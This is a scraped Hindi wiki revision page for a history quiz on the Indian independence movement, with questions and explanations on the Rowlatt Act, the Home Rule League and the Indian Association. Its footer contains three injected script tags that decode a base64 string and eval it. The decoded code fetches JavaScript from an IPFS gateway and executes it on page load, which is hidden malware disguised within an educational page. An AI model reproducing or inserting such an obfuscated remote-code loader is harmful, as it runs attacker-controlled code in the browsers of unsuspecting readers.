Difference between revisions of "इतिहास सामान्य ज्ञान 502"

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-[[नमक सत्याग्रह]]
 
-[[नमक सत्याग्रह]]
 
-[[रॉलेट एक्ट|रॉलेट आंदोलन]]
 
-[[रॉलेट एक्ट|रॉलेट आंदोलन]]
||[[सविनय अवज्ञा आन्दोलन]], [[ब्रिटिश साम्राज्य|ब्रिटिश साम्राज्यवाद]] के विरुद्ध [[भारतीय राष्ट्रीय कांग्रेस]] द्वारा चलाये गए जन आन्दोलन में से एक था। इस के चलते सरकार ने भी [[गांधी जी]] व अन्य कांग्रेसी नेताओं को रिहा कर दिया और [[वाइसराय]] [[लॉर्ड इरविन]] और गांधी जी के बीच सीधी बातचीत का आयोजन करके समझौते की अभिलाषा प्रकट की। गांधी जी और लॉर्ड इरविन में समझौता हुआ, जिसके अंतर्गत सविनय अवज्ञा आन्दोलन वापस ले लिया गया। हिंसा के दोषी लोगों को छोड़कर आन्दोलन में भाग लेने वाले सभी बन्दियों को रिहा कर दिया गया और [[कांग्रेस]] [[गोलमेज सम्मेलन]] के दूसरे अधिवेशन में भाग लेने को सहमत हो गई।{{point}}अधिक जानकारी के लिए देखें:- [[सविनय अवज्ञा आंदोलन]], [[गाँधी-इरविन समझौता]]
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||[[सविनय अवज्ञा आन्दोलन]], [[ब्रिटिश साम्राज्य|ब्रिटिश साम्राज्यवाद]] के विरुद्ध [[भारतीय राष्ट्रीय कांग्रेस]] द्वारा चलाये गए जन आन्दोलन में से एक था। इस के चलते सरकार ने भी [[गांधी जी]] व अन्य कांग्रेसी नेताओं को रिहा कर दिया और [[वाइसराय]] [[लॉर्ड इरविन]] और गांधी जी के बीच सीधी बातचीत का आयोजन करके समझौते की अभिलाषा प्रकट की। गांधी जी और लॉर्ड इरविन में समझौता हुआ, जिसके अंतर्गत सविनय अवज्ञा आन्दोलन वापस ले लिया गया। हिंसा के दोषी लोगों को छोड़कर आन्दोलन में भाग लेने वाले सभी बन्दियों को रिहा कर दिया गया और [[कांग्रेस]] [[गोलमेज सम्मेलन]] के दूसरे अधिवेशन में भाग लेने को सहमत हो गई।{{point}}अधिक जानकारी के लिए देखें:-[[सविनय अवज्ञा आंदोलन]], [[गाँधी-इरविन समझौता]]
  
{किसने सुझाव दिया था कि स्वतंत्रता प्राप्ति के बाद [[भारतीय राष्ट्रीय कांग्रेस]] को समाप्त कर दिया जाय?
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{किसने सुझाव दिया था कि स्वतंत्रता प्राप्ति के बाद [[भारतीय राष्ट्रीय कांग्रेस]] को समाप्त कर दिया जाये?
 
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-[[सी. राजगोपालाचारी]]
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-[[चक्रवर्ती राजगोपालाचारी]]
 
-[[जे. बी. कृपलानी]]
 
-[[जे. बी. कृपलानी]]
+[[महात्मा गांधी]]
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+[[महात्मा गाँधी]]
 
-[[जयप्रकाश नारायण]]
 
-[[जयप्रकाश नारायण]]
  
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-[[एस. सुब्रह्मण्य अय्यर]]
 
-[[एस. सुब्रह्मण्य अय्यर]]
 
+टी. एस. ऑल्कॉट
 
+टी. एस. ऑल्कॉट
||[[होमरूल लीग आन्दोलन]] का उद्देश्य [[ब्रिटिश साम्राज्य]] के अधीन रहते हुए संवैधानिक तरीक़े से स्वशासन को प्राप्त करना था। इस लीग के प्रमुख नेता [[बाल गंगाधर तिलक]] एवं श्रीमती [[एनी बेसेंट]] थीं। स्वराज्य की प्राप्ति के लिए तिलक ने [[28 अप्रैल]], [[1916]] ई. को बेलगांव में 'होमरूल लीग' की स्थापना की थी। इनके द्वारा स्थापित लीग का प्रभाव [[कर्नाटक]], [[महाराष्ट्र]] ([[बम्बई]] को छोड़कर), मध्य प्रान्त एवं [[बरार]] तक फैला हुआ था। कालान्तर में होमरूल लीग के बढ़ते हुए प्रभाव से ख़तरा महसूस करके [[ब्रिटिश सरकार]] ने एनी बेसेंट, जॉर्ज अरुन्डेल तथा बी. पी. वाडिया को [[1917]] ई. में गिरफ़्तार कर लिया। इस गिरफ़्तारी के विरोध में [[एस. सुब्रह्मण्य अय्यर]] ने अपनी 'नाइट हुड' की उपाधि वापस कर दी।{{point}}अधिक जानकारी के लिए देखें:- [[होमरूल लीग आन्दोलन]]
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||[[होमरूल लीग आन्दोलन]] का उद्देश्य [[ब्रिटिश साम्राज्य]] के अधीन रहते हुए संवैधानिक तरीक़े से स्वशासन को प्राप्त करना था। इस लीग के प्रमुख नेता [[बाल गंगाधर तिलक]] एवं [[एनी बेसेंट|श्रीमती एनी बेसेंट]] थीं। स्वराज्य की प्राप्ति के लिए तिलक ने [[28 अप्रैल]], [[1916]] ई. को [[बेलगाँव कर्नाटक|बेलगांव]] में 'होमरूल लीग' की स्थापना की थी। इनके द्वारा स्थापित लीग का प्रभाव [[कर्नाटक]], [[महाराष्ट्र]] ([[बम्बई]] को छोड़कर), मध्य प्रान्त एवं [[बरार]] तक फैला हुआ था। कालान्तर में होमरूल लीग के बढ़ते हुए प्रभाव से ख़तरा महसूस करके [[ब्रिटिश सरकार]] ने एनी बेसेंट, जॉर्ज अरुन्डेल तथा बी. पी. वाडिया को [[1917]] ई. में गिरफ़्तार कर लिया। इस गिरफ़्तारी के विरोध में [[एस. सुब्रह्मण्य अय्यर]] ने अपनी 'नाइट हुड' की उपाधि वापस कर दी।{{point}}अधिक जानकारी के लिए देखें:-[[होमरूल लीग आन्दोलन]]
  
 
{[[सुरेन्द्रनाथ बनर्जी]] और [[आनंद मोहन बोस]] ने [[कांग्रेस]] के जन्म के पहले किस राष्ट्रवादी पार्टी की स्थापना की, जो कांग्रेस के पूर्ववर्ती संगठनों में सबसे अधिक महत्त्वपूर्ण थी?
 
{[[सुरेन्द्रनाथ बनर्जी]] और [[आनंद मोहन बोस]] ने [[कांग्रेस]] के जन्म के पहले किस राष्ट्रवादी पार्टी की स्थापना की, जो कांग्रेस के पूर्ववर्ती संगठनों में सबसे अधिक महत्त्वपूर्ण थी?
 
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-मद्रास महाजन सभा
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-[[मद्रास महाजन सभा]]
 
+[[इण्डियन एसोसिएशन]]
 
+[[इण्डियन एसोसिएशन]]
 
-बंगाल यंग एसोसिएशन
 
-बंगाल यंग एसोसिएशन
 
-इनमें से कोई नहीं
 
-इनमें से कोई नहीं
||[[इण्डियन एसोसिएशन]] की स्थापना [[जुलाई]] [[1876]] ई. में [[सुरेन्द्रनाथ बनर्जी]] ने [[कलकत्ता]] में की थी, जो उस समय उग्रवादी नेता समझे जाते थे। इसका उद्देश्य [[भारत]] में शक्तिशाली जनमत का निर्माण करना तथा समान राजनीतिक हितों और महत्त्वाकांक्षाओं के आधार पर विविध भारतीय जातियों तथा वर्गों का एकीकरण करना था। अपने जन्मकाल से ही इस एसोसिएशन ने देश के सामने उपस्थित राजनीतिक प्रश्नों पर भारतीय जनमत को संगठित करने तथा अभिव्यक्त करने का प्रयास किया। परन्तु यह एसोसिएशन वास्तव में [[नरम दल]] वालों का संगठन बना रहा और आज भी इसका यही रूप है।
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||[[इण्डियन एसोसिएशन]] की स्थापना [[जुलाई]], [[1876]] ई. में [[सुरेन्द्रनाथ बनर्जी]] ने [[कलकत्ता]] (वर्तमान [[कोलकाता]]) में की थी, जो उस समय उग्रवादी नेता समझे जाते थे। इसका उद्देश्य [[भारत]] में शक्तिशाली जनमत का निर्माण करना तथा समान राजनीतिक हितों और महत्त्वाकांक्षाओं के आधार पर विविध भारतीय जातियों तथा वर्गों का एकीकरण करना था। अपने जन्मकाल से ही इस एसोसिएशन ने देश के सामने उपस्थित राजनीतिक प्रश्नों पर भारतीय जनमत को संगठित करने तथा अभिव्यक्त करने का प्रयास किया। परन्तु यह एसोसिएशन वास्तव में [[नरम दल]] वालों का संगठन बना रहा और आज भी इसका यही रूप है।{{point}}अधिक जानकारी के लिए देखें:-[[इण्डियन एसोसिएशन]]
  
{[[गांधीजी]] ने किस क़ानून को 'काला क़ानून' कहा था?
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{[[महात्मा गाँधी|गांधीजी]] ने किस क़ानून को 'काला क़ानून' कहा था?
 
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+[[रॉलेट एक्ट]]
 
+[[रॉलेट एक्ट]]
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-[[हंटर आयोग]]
 
-[[हंटर आयोग]]
 
-[[पिट एक्ट]]
 
-[[पिट एक्ट]]
||[[रॉलेट एक्ट]] [[8 मार्च]], [[1919]] ई. को लागू किया गया था। [[भारत]] में क्रान्तिकारियों के प्रभाव को समाप्त करने तथा राष्ट्रीय भावना को कुचलने के लिए [[ब्रिटिश सरकार]] ने न्यायाधीश 'सर सिडनी रौलट' की अध्यक्षता में एक कमेटी नियुक्त की। कमेटी ले [[1918]] ई. में अपनी रिपोर्ट प्रस्तुत की। कमेटी द्वारा दिये गये सुझावों के आधार पर केन्द्रीय विधानमण्डल में [[फ़रवरी]], 1919 ई. में दो विधेयक लाये गये। पारित होने के उपरान्त इन विधेयकों को 'रौलट एक्ट' या 'काला क़ानून' के नाम से जाना गया। राष्ट्रपिता [[महात्मा गाँधी]] ने इस एक्ट का पुरजोर विरोध किया और ब्रिटिश सरकार को 'शैतानी लोगों' की संज्ञा दी।{{point}}अधिक जानकारी के लिए देखें:- [[रॉलेट एक्ट]]
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||[[रॉलेट एक्ट]] [[8 मार्च]], [[1919]] ई. को लागू किया गया था। [[भारत]] में क्रान्तिकारियों के प्रभाव को समाप्त करने तथा राष्ट्रीय भावना को कुचलने के लिए [[ब्रिटिश सरकार]] ने न्यायाधीश सर सिडनी रौलट की अध्यक्षता में एक कमेटी नियुक्त की। कमेटी ले [[1918]] में अपनी रिपोर्ट प्रस्तुत की। कमेटी द्वारा दिये गये सुझावों के आधार पर केन्द्रीय विधानमण्डल में [[फ़रवरी]], 1919 में दो विधेयक लाये गये। पारित होने के उपरान्त इन विधेयकों को 'रौलट एक्ट' या 'काला क़ानून' के नाम से जाना गया। [[महात्मा गाँधी|राष्ट्रपिता महात्मा गाँधी]] ने इस एक्ट का पुरजोर विरोध किया और ब्रिटिश सरकार को 'शैतानी लोगों' की संज्ञा दी।{{point}}अधिक जानकारी के लिए देखें:- [[रॉलेट एक्ट]]
 
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Latest revision as of 13:07, 4 April 2018

samany jnan prashnottari
rajyoan ke samany jnan

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  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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2 kisane sujhav diya tha ki svatantrata prapti ke bad bharatiy rashtriy kaangres ko samapt kar diya jaye?

chakravarti rajagopalachari
je. bi. kripalani
mahatma gaandhi
jayaprakash narayan

3 nimnalikhit mean kisaka yogadan homarool lig andolan ki sthapana mean nahian tha?

bal gangadhar tilak
aini beseant
es. subrahmany ayyar
ti. es. aaulk aaut

4 surendranath banarji aur anand mohan bos ne kaangres ke janm ke pahale kis rashtravadi parti ki sthapana ki, jo kaangres ke poorvavarti sangathanoan mean sabase adhik mahattvapoorn thi?

madras mahajan sabha
indiyan esosieshan
bangal yang esosieshan
inamean se koee nahian

5 gaandhiji ne kis qanoon ko 'kala qanoon' kaha tha?

r aaulet ekt
mantegyoo ghoshana
hantar ayog
pit ekt

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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